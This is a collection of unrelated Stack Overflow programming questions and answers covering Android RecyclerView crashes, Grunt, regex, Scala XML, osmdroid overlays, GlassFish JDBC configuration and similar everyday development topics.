14342691	0	System commands dont work when running over passenger <p>I have a sinatra app with a page that shows some information about the application. Some of which is generated by running commands on page load. Everything works fine on my MacBook when running in unicorn and everything works fine on the production server when running in unicorn but swap to Apache/Passenger and suddenly the commands start returning nil.</p> <p>For example to get a list of committers I use:</p> <pre><code>comitters = `cd /path/to/app &amp;&amp; git shortlog -s -n` </code></pre> <p>This works perfectly until run in the apache/passenger setup.</p> <p>Is there some option within passenger that disables system commands?</p>
40550694	0	RecyclerView inside CardView inside RecyclerView throwing null pointer on findViewById <p>I'm trying to have a RecyclerView, where each row is a CardLayout, which again contains a RecyclerView (with Header, Items and Footer). I have tried to instansiate the innerRecyclerView in the OnBind from the OuterRecyclerView but keep on getting a nullpointer. </p> <p>"Main" Activity Code:</p> <pre><code>import android.content.Context; import android.content.Intent; import android.os.Bundle; import android.support.v7.app.AppCompatActivity; import android.support.v7.widget.DefaultItemAnimator; import android.support.v7.widget.LinearLayoutManager; import android.support.v7.widget.RecyclerView; import android.support.v7.widget.Toolbar; import android.view.Menu; import android.view.MenuItem; import android.view.Window; import android.view.WindowManager; import com.squareup.timessquare.CalendarPickerView; import java.util.List; import ch.zhaw.it15a_zh.psit3_03.mealmanager.R; import ch.zhaw.it15a_zh.psit3_03.mealmanager.adapters.OuterWeekplanAdapter; import ch.zhaw.it15a_zh.psit3_03.mealmanager.db.repos.UserPlannedRecipesRepo; import ch.zhaw.it15a_zh.psit3_03.mealmanager.models.UserPlannedRecipe; public class WeekPlanActivity extends AppCompatActivity { private RecyclerView outerRecyclerView; private CalendarPickerView calendar; private UserPlannedRecipesRepo uprr = new UserPlannedRecipesRepo(); private List&lt;UserPlannedRecipe&gt; userPlannedRecipeList; private List&lt;String&gt; distinctUserPlannedDates; @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); //Hide Top Toolbar form android device requestWindowFeature(Window.FEATURE_NO_TITLE); getWindow().setFlags(WindowManager.LayoutParams.FLAG_FULLSCREEN, WindowManager.LayoutParams.FLAG_FULLSCREEN); //Set LayoutFile setContentView(R.layout.activity_weekplan); /* BEGIN TOOLBAR */ Toolbar toolbar = (Toolbar) findViewById(R.id.toolbar_weekplan_overview); setSupportActionBar(toolbar); getSupportActionBar().setTitle(R.string.toolbar_title_weekplan_activity); getSupportActionBar().setHomeButtonEnabled(true); getSupportActionBar().setDisplayHomeAsUpEnabled(true); /* END TOOLBAR */ outerRecyclerView = (RecyclerView) findViewById(R.id.activity_weekplan_outer_recyclerview); distinctUserPlannedDates = uprr.getDistinctListOfPlannedDates(); OuterWeekplanAdapter outerWeekplanAdapter = new OuterWeekplanAdapter(getApplicationContext(), distinctUserPlannedDates); RecyclerView.LayoutManager manager = new LinearLayoutManager(getApplicationContext()); outerRecyclerView.setLayoutManager(manager); outerRecyclerView.setItemAnimator(new DefaultItemAnimator()); outerRecyclerView.setAdapter(outerWeekplanAdapter); } //Inflate Options Menu to show additional buttons in toolbar @Override public boolean onCreateOptionsMenu(Menu menu) { getMenuInflater().inflate(R.menu.activity_weekplan_main_menu, menu); return super.onCreateOptionsMenu(menu); } @Override public boolean onOptionsItemSelected(MenuItem item) { switch (item.getItemId()) { case R.id.ic_action_weekplan_add: Intent intent = new Intent(this, DateRangePicker.class); Context context = this; context.startActivity(intent); } return super.onOptionsItemSelected(item); } } </code></pre> <p>Inner RecyclerView Adapter</p> <pre><code>import android.content.Context; import android.net.Uri; import android.support.v7.widget.RecyclerView; import android.view.LayoutInflater; import android.view.View; import android.view.ViewGroup; import android.widget.Button; import android.widget.ImageButton; import android.widget.ImageView; import android.widget.TextView; import android.widget.Toast; import com.squareup.picasso.Picasso; import java.util.List; import ch.zhaw.it15a_zh.psit3_03.mealmanager.R; import ch.zhaw.it15a_zh.psit3_03.mealmanager.db.repos.RecipeRepo; import ch.zhaw.it15a_zh.psit3_03.mealmanager.db.repos.UserPlannedRecipesRepo; import ch.zhaw.it15a_zh.psit3_03.mealmanager.models.Recipe; import ch.zhaw.it15a_zh.psit3_03.mealmanager.models.UserPlannedRecipe; public class InnerWeekplanAdapter extends RecyclerView.Adapter&lt;RecyclerView.ViewHolder&gt; { private static final int TYPE_HEADER = 0; private static final int TYPE_ITEM = 1; private static final int TYPE_FOOTER = 2; private List&lt;UserPlannedRecipe&gt; userPlannedRecipeList; private UserPlannedRecipesRepo uprr = new UserPlannedRecipesRepo(); private RecipeRepo recipeRepo = new RecipeRepo(); private Context context; private int recipeID; public InnerWeekplanAdapter(List&lt;UserPlannedRecipe&gt; userPlannedRecipeList, Context context) { this.userPlannedRecipeList = userPlannedRecipeList; this.context = context; } @Override public RecyclerView.ViewHolder onCreateViewHolder(ViewGroup parent, int viewType) { if (viewType == TYPE_HEADER) { View v = LayoutInflater.from(parent.getContext()).inflate(R.layout.activity_weeplan_day_header, parent, false); return new WeekplanHeaderViewHolder(v); } else if (viewType == TYPE_FOOTER) { View v = LayoutInflater.from(parent.getContext()).inflate(R.layout.activity_weekplan_day_footer, parent, false); return new WeekplanFooterViewHolder(v); } else if (viewType == TYPE_ITEM) { View v = LayoutInflater.from(parent.getContext()).inflate(R.layout.activity_weekplan_day_planned_recipe, parent, false); return new WeekplanItemViewHolder(v); } return null; } @Override public void onBindViewHolder(RecyclerView.ViewHolder holder, int position) { if (holder instanceof WeekplanHeaderViewHolder) { WeekplanHeaderViewHolder weekplanHeaderViewHolder = (WeekplanHeaderViewHolder) holder; //TODO Set header fields with get repo information recipeID = userPlannedRecipeList.get(position).getPlannedRecipeID(); weekplanHeaderViewHolder.textview_date_of_weekplan_row .setText(userPlannedRecipeList.get(position).getDatePlanned().toString()); } else if (holder instanceof WeekplanItemViewHolder) { WeekplanItemViewHolder weekplanItemViewHolder = (WeekplanItemViewHolder) holder; Recipe recipe = new RecipeRepo().getRecipe(userPlannedRecipeList.get(position - 1).getPlannedRecipeID()); //Sets Recipe Name weekplanItemViewHolder.textView_recipe_name.setText(recipe.getName()); //Sets Image Thumbnail String imageID = recipe.getImage(); imageID = imageID.substring(0, imageID.lastIndexOf(".")); Uri uri = Uri.parse("android.resource://" + context.getPackageName() + "/drawable/" + imageID); Picasso.with(context).load(uri).error(R.drawable.placeholder).placeholder(R.drawable.placeholder) .into(weekplanItemViewHolder.imageView_thumbnail_recipe_image); //Sets Short Recipe Description weekplanItemViewHolder.textView_short_recipe_description.setText(recipe.getDescription()); //Sets Cooking Time weekplanItemViewHolder.textView_cookingTime.setText(String.valueOf(recipe.getCookingTime())); //TODO implement RemoveRecipeFromPlanning-Button functionality } else { WeekplanFooterViewHolder weekplanFooterViewHolder = (WeekplanFooterViewHolder) holder; weekplanFooterViewHolder.button_plan_recipes_for_this_day.setText("Add Recipes to this day"); //TODO implement AddRecipesToThisDay-Button functionality } } @Override public int getItemCount() { return userPlannedRecipeList.size() + 2; } @Override public int getItemViewType(int position) { if (isPositionHeader(position)) { return TYPE_HEADER; } else if (isPositionFooter(position)) { return TYPE_FOOTER; } return TYPE_ITEM; } private boolean isPositionHeader(int position) { return position == 0; } private boolean isPositionFooter(int position) { return position == userPlannedRecipeList.size() + 1; } /*BEGIN VIEWHOLDERS*/ public class WeekplanHeaderViewHolder extends RecyclerView.ViewHolder { public TextView textview_date_of_weekplan_row; public WeekplanHeaderViewHolder(View view) { super(view); this.textview_date_of_weekplan_row = (TextView) itemView.findViewById(R.id.textview_date_of_weekplan_row); } } public class WeekplanItemViewHolder extends RecyclerView.ViewHolder { public ImageView imageView_thumbnail_recipe_image; public TextView textView_recipe_name; public TextView textView_short_recipe_description; public TextView textView_cookingTime; public ImageButton imageButton_remove_recipe_from_planning; public WeekplanItemViewHolder(View view) { super(view); this.imageView_thumbnail_recipe_image = (ImageView) view.findViewById(R.id.imageView_thumbnail_recipe_image); this.textView_recipe_name = (TextView) view.findViewById(R.id.textView_recipe_name); this.textView_short_recipe_description = (TextView) view.findViewById(R.id.textView_short_recipe_description); this.textView_cookingTime = (TextView) view.findViewById(R.id.cookingTime); //this.imageButton_remove_recipe_from_planning = // (ImageButton) view.findViewById(R.id.imageButton_remove_recipe_from_planning); //Set Button functionality for removing a recipe from a recyclerview ImageButton button = (ImageButton) view.findViewById(R.id.imageButton_remove_recipe_from_planning); button.setOnClickListener(new Button.OnClickListener() { @Override public void onClick(View v) { Toast.makeText(context, "Item Removed", Toast.LENGTH_SHORT).show(); } }); } } public class WeekplanFooterViewHolder extends RecyclerView.ViewHolder { public Button button_plan_recipes_for_this_day; public WeekplanFooterViewHolder(View view) { super(view); this.button_plan_recipes_for_this_day = (Button) view.findViewById(R.id.button_plan_recipes_for_this_day); } } /*END VIEWHOLDERS*/ } </code></pre> <p>Outer RecyclerView Adapter</p> <pre><code>import android.content.Context; import android.support.v7.widget.DefaultItemAnimator; import android.support.v7.widget.LinearLayoutManager; import android.support.v7.widget.RecyclerView; import android.view.LayoutInflater; import android.view.View; import android.view.ViewGroup; import java.util.List; import ch.zhaw.it15a_zh.psit3_03.mealmanager.R; import ch.zhaw.it15a_zh.psit3_03.mealmanager.db.repos.UserPlannedRecipesRepo; import ch.zhaw.it15a_zh.psit3_03.mealmanager.models.UserPlannedRecipe; public class OuterWeekplanAdapter extends RecyclerView.Adapter&lt;RecyclerView.ViewHolder&gt; { private static Context context; private static OuterWeekplanAdapter outerWeekplanAdapter; private List&lt;String&gt; distinctListOfPlannedDates; private List&lt;UserPlannedRecipe&gt; userPlannedRecipeList; private UserPlannedRecipesRepo userPlannedRecipesRepo = new UserPlannedRecipesRepo(); private RecyclerView innerRecyclerView; public OuterWeekplanAdapter(Context applicationContext, List&lt;String&gt; distinctListOfPlannedDates) { context = applicationContext; this.distinctListOfPlannedDates = distinctListOfPlannedDates; } @Override public RecyclerView.ViewHolder onCreateViewHolder(ViewGroup parent, int viewType) { View v = LayoutInflater.from(parent.getContext()).inflate(R.layout.activity_weekplan_cardview, parent, false); return new OuterWeekplanViewHolder(v); } @Override public void onBindViewHolder(RecyclerView.ViewHolder holder, int position) { </code></pre> <p>CRASH OCCURES HERE APPARENTLY:</p> <pre><code> innerRecyclerView = (RecyclerView) innerRecyclerView.findViewById(R.id.activity_weekplan_inner_recyclerview); userPlannedRecipeList = userPlannedRecipesRepo.getUserPlannedRecipeFromSpecificDate(distinctListOfPlannedDates.get(position)); InnerWeekplanAdapter innerWeekplanAdapter = new InnerWeekplanAdapter(userPlannedRecipeList, context); RecyclerView.LayoutManager manager = new LinearLayoutManager(context); innerRecyclerView.setLayoutManager(manager); innerRecyclerView.setItemAnimator(new DefaultItemAnimator()); innerRecyclerView.setAdapter(innerWeekplanAdapter); } @Override public int getItemCount() { return distinctListOfPlannedDates.size(); } public class OuterWeekplanViewHolder extends RecyclerView.ViewHolder { public OuterWeekplanViewHolder(View itemView) { super(itemView); } } } </code></pre> <p>"Main" Activity Layout</p> <pre><code>&lt;?xml version="1.0" encoding="utf-8"?&gt; &lt;RelativeLayout xmlns:android="http://schemas.android.com/apk/res/android" xmlns:tools="http://schemas.android.com/tools" android:layout_width="match_parent" android:layout_height="match_parent" android:fitsSystemWindows="true" tools:context=".activities.WeekPlanActivity"&gt; &lt;include layout="@layout/toolbar_weekplan_overview" android:id="@+id/toolbar_weekplan_overview"/&gt; &lt;android.support.v7.widget.RecyclerView android:layout_width="match_parent" android:layout_height="wrap_content" android:id="@+id/activity_weekplan_outer_recyclerview" android:layout_below="@id/toolbar_weekplan_overview" /&gt; &lt;/RelativeLayout&gt; </code></pre> <p>CardView Layout: </p> <pre><code> &lt;android.support.v7.widget.RecyclerView android:layout_width="match_parent" android:layout_height="wrap_content" android:id="@+id/activity_weekplan_inner_recyclerview" /&gt; &lt;/android.support.v7.widget.CardView&gt; </code></pre> <p>Crash Message:</p> <pre><code> --------- beginning of crash 11-11 15:52:07.691 6350-6350/? E/AndroidRuntime: FATAL EXCEPTION: main Process: ch.zhaw.it15a_zh.psit3_03.mealmanager, PID: 6350 java.lang.NullPointerException: Attempt to invoke virtual method 'android.view.View android.support.v7.widget.RecyclerView.findViewById(int)' on a null object reference at ch.zhaw.it15a_zh.psit3_03.mealmanager.adapters.OuterWeekplanAdapter.onBindViewHolder(OuterWeekplanAdapter.java:41) at android.support.v7.widget.RecyclerView$Adapter.onBindViewHolder(RecyclerView.java:5825) at android.support.v7.widget.RecyclerView$Adapter.bindViewHolder(RecyclerView.java:5858) at android.support.v7.widget.RecyclerView$Recycler.getViewForPosition(RecyclerView.java:5094) at android.support.v7.widget.RecyclerView$Recycler.getViewForPosition(RecyclerView.java:4970) at android.support.v7.widget.LinearLayoutManager$LayoutState.next(LinearLayoutManager.java:2029) at android.support.v7.widget.LinearLayoutManager.layoutChunk(LinearLayoutManager.java:1414) at android.support.v7.widget.LinearLayoutManager.fill(LinearLayoutManager.java:1377) at android.support.v7.widget.LinearLayoutManager.onLayoutChildren(LinearLayoutManager.java:578) at android.support.v7.widget.RecyclerView.dispatchLayoutStep2(RecyclerView.java:3315) at android.support.v7.widget.RecyclerView.onMeasure(RecyclerView.java:2843) at android.view.View.measure(View.java:18850) at android.widget.RelativeLayout.measureChildHorizontal(RelativeLayout.java:716) at android.widget.RelativeLayout.onMeasure(RelativeLayout.java:462) at android.view.View.measure(View.java:18850) at android.view.ViewGroup.measureChildWithMargins(ViewGroup.java:5963) at android.widget.FrameLayout.onMeasure(FrameLayout.java:194) at android.support.v7.widget.ContentFrameLayout.onMeasure(ContentFrameLayout.java:135) at android.view.View.measure(View.java:18850) at android.view.ViewGroup.measureChildWithMargins(ViewGroup.java:5963) at android.widget.LinearLayout.measureChildBeforeLayout(LinearLayout.java:1465) at android.widget.LinearLayout.measureVertical(LinearLayout.java:748) at android.widget.LinearLayout.onMeasure(LinearLayout.java:630) at android.view.View.measure(View.java:18850) at android.view.ViewGroup.measureChildWithMargins(ViewGroup.java:5963) at android.widget.FrameLayout.onMeasure(FrameLayout.java:194) at android.view.View.measure(View.java:18850) at android.view.ViewGroup.measureChildWithMargins(ViewGroup.java:5963) at android.widget.LinearLayout.measureChildBeforeLayout(LinearLayout.java:1465) at android.widget.LinearLayout.measureVertical(LinearLayout.java:748) at android.widget.LinearLayout.onMeasure(LinearLayout.java:630) at android.view.View.measure(View.java:18850) at android.view.ViewGroup.measureChildWithMargins(ViewGroup.java:5963) at android.widget.FrameLayout.onMeasure(FrameLayout.java:194) at com.android.internal.policy.PhoneWindow$DecorView.onMeasure(PhoneWindow.java:2672) at android.view.View.measure(View.java:18850) at android.view.ViewRootImpl.performMeasure(ViewRootImpl.java:2102) at android.view.ViewRootImpl.measureHierarchy(ViewRootImpl.java:1218) at android.view.ViewRootImpl.performTraversals(ViewRootImpl.java:1454) at android.view.ViewRootImpl.doTraversal(ViewRootImpl.java:1109) at android.view.ViewRootImpl$TraversalRunnable.run(ViewRootImpl.java:6046) at android.view.Choreographer$CallbackRecord.run(Choreographer.java:858) at android.view.Choreographer.doCallbacks(Choreographer.java:670) at android.view.Choreographer.doFrame(Choreographer.java:606) at android.view.Choreographer$FrameDisplayEventReceiver.run(Choreographer.java:844) at android.os.Handler.handleCallback(Handler.java:739) at android.os.Handler.dispatchMessage(Handler.java:95) at android.os.Looper.loop(Looper.java:152) at android.app.ActivityThread.main(ActivityThread.java:5507) at java.lang.reflect.Method.invoke(Native Method) at com.android.internal.os.ZygoteInit$MethodAndArgsCaller.run(ZygoteInit.java:726) at com.android.internal.os.ZygoteInit.main(ZygoteInit.java:616) </code></pre>
34040877	0	 <p>As Alexander said, if you choose <a href="http://gruntjs.com" rel="nofollow">Grunt</a>, you can use a <a href="https://github.com/gruntjs/grunt-contrib-concat" rel="nofollow">concat plugin</a> to merge a list of selected files into a single destination:</p> <p>after you load the select plugin in your gruntfile.js</p> <pre><code>grunt.loadNpmTasks('grunt-contrib-concat'); </code></pre> <p>define a task in grunt configuration:</p> <pre><code>grunt.initConfig({ concat: { options: { separator: ';', }, dist: { // your source file list src: ['src/js/*.js'], //your destination file dest: 'dist/app.js', }, }, }); </code></pre> <p>then register this task to a list:</p> <pre><code>grunt.registerTask('compile', ['concat']); </code></pre> <p>this would be run by typing "grunt compile" on the command line</p> <p>so you only have to include the dist/app.js file in your index.</p> <p>There are many plugins available in grunt, i.e. you can inculde your app.js file dynamically using the <a href="https://www.npmjs.com/package/grunt-include-source" rel="nofollow">grunt-include-source</a> plugin, or minimize the js files using <a href="https://github.com/gruntjs/grunt-contrib-uglify" rel="nofollow">grunt-contrib-uglify</a>.</p> <p>More information on the gruntfile are available <a href="http://gruntjs.com/sample-gruntfile" rel="nofollow">here</a></p> <p>You can achieve the result as requested in the second point instead, i think you could use solutions like:</p> <ul> <li><a href="https://webpack.github.io/" rel="nofollow">WebPack</a></li> <li><a href="http://requirejs.org/" rel="nofollow">RequireJS</a></li> </ul> <p><strong>UPDATE</strong>:</p> <p>I couldn't find a concat end to end tutorial, I'm sorry.</p> <p>For a generic Grunt tutorial you can read <a href="http://adrianmejia.com/blog/2014/10/07/grunt-js-tutorial-from-beginner-to-ninja/" rel="nofollow">this</a></p> <p>Otherwise you can follow the <a href="http://gruntjs.com/getting-started" rel="nofollow">getting started</a> page from the official Grunt site for installation, configuration and have a general overview.</p> <p>When they talk about plugins please refer to the README of the <a href="https://github.com/gruntjs/grunt-contrib-concat" rel="nofollow">grunt-contrib-concat</a> plugin linked and explained above.</p> <p>Those pages could give you all the skills needed.</p> <p>Finally, customize the concat configuration in Gruntfile.js by putting in <code>dist.src</code> all files to be merged into the file set as <code>dist.dest</code> and only include the latter in your html.</p> <p>Once the set-up is complete, execute your task by typing <code>grunt compile</code> on the command line in your project folder, and the merged file will be produced.</p>
25514233	0	 <p>I don't think the loop will be slower. You are accessing the memory of the M1 and M2 arrays in the same way in both instances i.e. . If you want to make the "manual" version faster then use scalar replacement and do the computation on registers e.g.</p> <pre><code> double M1_0 = M1[0]; double M2_0 = M2[0]; result[0] = M1_0*M2_0 + ... </code></pre> <p>but you can use scalar replacement within the loop as well. You can do it if you do blocking and loop unrolling (in fact your triple loop looks like a blocking version of the MMM).</p> <p>What you are trying to do is to speed up the program by improving locality i.e. better use of the memory hierarchy and better locality.</p>
19227018	0	 <p>Your regular expression is self-contradictory.</p> <p>You are bounding your pattern on word boundaries, and then including a non-word character in the string you're looking for. Since the '.' character isn't a word character, there will never be any strings that are delimited by word boundaries that include the '.'. </p> <p>Put another way, since the '.' is itself a word boundary, you are looking for [word-boundary][word-boundary][word], which cannot occur.</p> <p>Just take out the word boundaries in your REGEXP:</p> <pre><code>WHERE INET_NTOA(ip) REGEXP '\.111' </code></pre>
10759817	0	 <p>You can use <a href="http://p3rl.org/IPC%3a%3aOpen2" rel="nofollow"><code>IPC::Open2</code></a> to attache two file handles, one to the input and one to the output of a program. It may be closer to what you really want to use <a href="http://p3rl.org/IO%3a%3aSocket%3a%3aSSL" rel="nofollow"><code>IO::Socket::SSL</code></a>, which functions like <code>IO::Socket::INET</code> but encrypted.</p> <p><strong>Update:</strong> My best guess is that your doubling up <code>\r</code> characters. According to the man page for <code>s_client</code> <code>-crlf</code> converts line feeds into carriage return + line feed. An when you print to the <code>$sslwrite</code> handle you are sending <code>"\r\n"</code>. I think the result would be that the server would receive "\r\r\n" at the end of each command. You probably want to drop the <code>-crlf</code> from the <code>openssl</code> command in your program.</p>
37378816	0	 <p>There is no easy way to do that. Maybe with very complex query, but it will be difficult to maintain and may be even less efficient than doing that with several simpler queries.</p> <p>The solution described by you costs 1 + (number of categories) queries, not two, of course. You could union them easily, and then you would have two queries and less trips do database, but similar load for db (comparing to your solution).</p> <p>Even if you would assume, that there is a way to fetch everything with single query, then db has to do almost the same work (fetch 3 newest posts from every category). So having 2 queries vs 1 hypothetical is not a big penalty in terms of performance. Moreover, I can imagine that DB engine could have some issues with finding most optimal execution plan, especially if you would add there functions etc.</p> <p>And the last solution. There is a way for fetching up to 3 posts from each category, but that require modifying schema and some application-side work. You can add a boolean column "most_recent" and have always 3 posts per cat. with <code>true</code> and false for the rest. You would have to keep updating it every time when you are adding/deleting posts. That is achievable as well with db triggers. Then your problem is trivial to resolve, but only because you have done some precomputation.</p>
11696380	0	 <p>Here's a reasonably straightforward working example that produces the output you want:</p> <pre><code>import play.api.libs.json._ val json = Json.parse(""" {"1342558874663000":{"TEMPERATURE_C":"253","TEMPERATURE_F":"775"}, "1342558854606000" :{"TEMPERATURE_C":"254","TEMPERATURE_F":"776"}} """).as[JsObject] Json.toJson(json.fields.flatMap { case (epoch, obj) =&gt; obj.as[JsObject].fields.map(epoch -&gt; _) }.groupBy(_._2._1).mapValues( _.map { case (epoch, (_, v)) =&gt; Seq(epoch, v.as[String]) } )) </code></pre> <p>The trick here is to flatten the list and then rebuild the structure you need.</p>
4601965	0	 <p>Yes, that is the write way.</p> <p>It's just that instead of writing webpart directly, you can write the usercontrol and then host it in a wrapper webpart.</p> <p>The advantage of this approach is that you can have designer for creating UI elements which is available while creating usercontrol. For sharepoint 2007, the wrapper webpart is already available called smart part. To smartpart, you can just give the location of your user control(.ascx) to load.</p> <p>In sharepoint 2010, the smartpart can be built out of the box using Visual Studio 2010.</p> <p><a href="http://smartpart.codeplex.com/" rel="nofollow">http://smartpart.codeplex.com/</a></p>
18501096	0	 <p>This is the concept of <a href="http://docs.oracle.com/javase/tutorial/reflect/" rel="nofollow">Reflection</a>. You should be able to do something like the following (untested) code snippet:</p> <pre><code>/** * @return {@code true} if all of the values of the fields in {@code obj} are * contained in the set of {@code values}; {@code false} otherwise. */ public boolean containsAllValues(HashSet&lt;Object&gt; values, MyClass obj) { Field[] fields = MyClass.class.getFields(); for (Field field : fields) { Object fieldValue = field.get(obj); if (values.contains(fieldValue)) { return false; } } return true; } </code></pre>
4985298	0	 <p>See scala.xml.transform._ and the corresponding Stack Overflow questions.</p> <p>It will probably look somewhat like this:</p> <p><a href="http://www.scalakata.com/5022b395e4b032f990af0493" rel="nofollow"></p> <pre><code>import scala.xml._ import transform._ case class Article( title: String, content: String ) val articleList = List( Article("title 1","content 1"), Article("title 2","content 2") ) class TransformArticle(title: String, content: String) extends RewriteRule { override def transform(n: Node): Seq[Node] = n match { case div @ &lt;div/&gt; =&gt; div match { case elem: Elem if elem \ "@class" contains Text("title") =&gt; elem copy (child = Text(title)) case elem: Elem if elem \ "@class" contains Text("content") =&gt; elem copy (child = Text(content)) case other =&gt; other } case other =&gt; other } } val article_template = &lt;div&gt; &lt;div class="title"&gt;&lt;/div&gt; &lt;div class="content"&gt;&lt;/div&gt; &lt;!-- some other markups don't know --&gt; &lt;/div&gt; Group( articleList.flatMap( article =&gt; { new RuleTransformer(new TransformArticle(article.title, article.content)) transform article_template }) ) </code></pre> <p></a></p>
8115394	0	Strange behaviour with Osmdroid overlay at high zoom levels <p>I'm using the osmdroid 3.0.5 jar in my app to display a map view. I'm superimposing an overlay, consisting of horizontal and vertical lines. I've noticed that in certain locations only, at high zoom levels some of the lines disappear, then reappear as the map is dragged.</p> <p>I've produced a minimal sample app which demonstrates the problem which exhibits itself both on a real device and an emulator (Gingerbread 2.3.3).</p> <p>The complete code is shown below - (the 'transform' methods are necessary in the real app although they don't appear to be in this minimal sample) :</p> <pre><code>public class DemoMap extends Activity implements MapViewConstants { private MapView mapView; private MapController mapController; private MapOverlay mmapOverlay = null; @Override public void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.copymain); mapView = (MapView) findViewById(R.id.mapview); mapView.setTileSource(TileSourceFactory.MAPNIK); mapView.setBuiltInZoomControls(true); mapView.setMultiTouchControls(true); mapController = mapView.getController(); mapController.setZoom(17); // Only shows the bug at ceratin lat/lon positions, this is one GeoPoint point2 = new GeoPoint(39191699, -120102561); mapController.setCenter(point2); mmapOverlay = new MapOverlay(this); List&lt;Overlay&gt; listOfOverlays = mapView.getOverlays(); listOfOverlays.add(mmapOverlay); mapView.invalidate(); } public class MapOverlay extends org.osmdroid.views.overlay.Overlay { public MapOverlay(Context ctx) {super(ctx); } private int mVpl;// viewport left, top, right, bottom private int mVpt; private int mVpr; private int mVpb; private MapView mMv = null; // Two routines to transform and scale between viewport and mapview private float transformX(float in, MapView mv) { float out; out = ((mVpr - mVpl) * in) / (mv.getRight() - mv.getLeft()) + mVpl; return out; } private float transformY(float in, MapView mv) { float out; out = ((mVpb - mVpt) * in) / (mv.getBottom() - mv.getTop()) + mVpt; return out; } @Override protected void draw(Canvas pC, MapView mapV, boolean shadow) { if (shadow) return; Paint paint; paint = new Paint(); paint.setColor(Color.RED); paint.setAntiAlias(true); paint.setStyle(Style.STROKE); paint.setStrokeWidth(1); paint.setTextAlign(Paint.Align.LEFT); paint.setTextSize(12); final Rect viewportRect = new Rect(); final Projection projection = mapV.getProjection(); viewportRect.set(projection.getScreenRect()); mVpl = viewportRect.left; mVpt = viewportRect.top; mVpr = viewportRect.right; mVpb = viewportRect.bottom; // draw two lines to split screen into 2x2 quarters // drag the map left and right and the vertical line disappears, // then reappears! It's OK at one less zoom level pC.drawLine(transformX(mapV.getWidth()/2, mapV), transformY(0, mapV), transformX(mapV.getWidth()/2, mapV), transformY(mapV.getHeight(), mapV), paint); pC.drawLine(transformX(0, mapV), transformY(mapV.getHeight()/2, mapV), transformX(mapV.getWidth(), mapV), transformY(mapV.getHeight()/2, mapV), paint); } } } </code></pre> <p>Interestingly if, in my real app, if I do the drawing to an offscreen bitmap, then draw it all in one go at the end of the Overlay's draw, it's OK the lines don't disappear.</p> <p>Any help will be much appreciated.</p>
30964205	0	Setting GlassFish-Mysql Connection Pool on Openshift <p>I just created a new application with the DIY cartridge and add a MySQL cartridge to it as well. I also was able to deploy the application online. I cannot use the GlassFish administration console with OpenShift but I need to set up JDBC resources, connection pools. I'm trying to edit the domains.xml of my remote glassfish server using that of my local glassfish server. I'm still unable to connect to the database. This is what I've done so far: </p> <pre><code>&lt;jdbc-connection-pool is-isolation-level-guaranteed="false" datasource-classname="com.mysql.jdbc.jdbc2.optional.MysqlDataSource" name="SamplePool" res-type="javax.sql.DataSource"&gt; &lt;property name="User" value="adminvcsHiYw"&gt;&lt;/property&gt; &lt;property name="DatabaseName" value="timetable"&gt;&lt;/property&gt; &lt;property name="serverName" value="127.8.28.2"&gt;&lt;/property&gt; &lt;property name="PortNumber" value="3306"&gt;&lt;/property&gt; &lt;property name="URL" value="jdbc:mysql://127.8.28.2:3306/timetable"&gt;&lt;/property&gt; &lt;property name="Password" value="_R-LrpYIcdUf"&gt;&lt;/property&gt; &lt;/jdbc-connection-pool&gt; </code></pre> <p>This is the output of <code>rhc tail -a appname</code></p> <pre><code> ==&gt; app-root/logs/mysql.log &lt;== 150621 7:55:43 InnoDB: highest supported file format is Barracuda. 150621 7:55:43 InnoDB: Waiting for the background threads to start 150621 7:55:44 InnoDB: 5.5.41 started; log sequence number 1686690 150621 7:55:44 [Note] Server hostname (bind-address): '127.8.28.2'; port: 3306 150621 7:55:44 [Note] - '127.8.28.2' resolves to '127.8.28.2'; 150621 7:55:44 [Note] Server socket created on IP: '127.8.28.2'. 150621 7:55:44 [Warning] 'proxies_priv' entry '@ root@ex-std-node534.prod.rhcloud.com' ignored in --skip-name-resolve mode. 150621 7:55:44 [Note] Event Scheduler: Loaded 0 events 150621 7:55:44 [Note] /opt/rh/mysql55/root/usr/libexec/mysqld: ready for connections. Version: '5.5.41' socket: '/var/lib/openshift/5585ff875004465b5500013a/mysql//socket/mysql.sock' port: 3306 MySQL Community Server (GPL) ` </code></pre> <p>What am I doing wrong? Can anyone help?</p>
3968005	0	 <p><a href="http://stackoverflow.com/questions/576431/is-there-a-conditional-ternary-operator-in-vb-net">http://stackoverflow.com/questions/576431/is-there-a-conditional-ternary-operator-in-vb-net</a></p>
5037323	0	Writing "Code::Blocks" Without the Colons <p>This is a bit of a silly question, but please bear with me. ;)</p> <p>I just got the <a href="http://codeblocks.org" rel="nofollow">Code::Blocks</a> IDE and I'm enjoying it thoroughly. However, since the <code>:</code> character isn't allowed in Windows folder names, I'm unsure of what to call the folder I keep all my projects in. (I name each folder after its IDE.)</p> <p>Should it be written as "Code Blocks," "CodeBlocks," or something else...?</p>
14299542	0	 <pre><code>char (*po)[10]; </code></pre> <p>is a pointer to an array of 10 <code>char</code> items.</p> <p>An array expression doesn't decay to a pointer to itself-as-array. It decays (when it does) to a pointer to first item. Hence, the need for applying address operator, and also the error message you got about being unable to convert the array expression to a pointer-to-array.</p>
37346795	0	How to indent the XML-Output of XSLT in Eclipse? <p>I don't habe any ideas how to indent my XML-Output in Eclipse. Currently I have everything in one row.</p> <p>What should I define beside indent="yes" in my XSLT?</p> <p></p> <p>Another problem is that I can not eliminate xmlns:dc="http://purl.org/dc/elements/1.1/ after every DC-tag in my Output-XML. It's really surprising that exclude-result-prefixes="dc dcterms "> only excludes dcterms, but not for dc.</p> <p>Maybe someone has an idea?</p> <pre><code>&lt;?xml version="1.0" encoding="UTF-8"?&gt; &lt;xsl:stylesheet version="2.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:dcterms="http://purl.org/dc/terms/" xmlns:dc="http://purl.org/dc/elements/1.1/" exclude-result-prefixes="dc dcterms "&gt; &lt;xsl:output method="xml" version="1.0" encoding="UTF-8" indent="yes" /&gt; Output XML: &lt;dc:titel xmlns:dc="http://purl.org/dc/elements/1.1/"&gt;Fragebogen FB001&lt;/dc:titel&gt; but it should be : &lt;dc:titel&gt;Fragebogen&lt;/dc:titel&gt; </code></pre>
24862943	0	Show 'page not found' on Drupal 7 node page <p>Need show 404 page on node page when some condition is true. I know that Drupal have drupal_not_found(), but I don't know where to use it. If I use it in hook_init() some blocks is not displaying. Where to use it function of maybe there is another solution for me?</p>
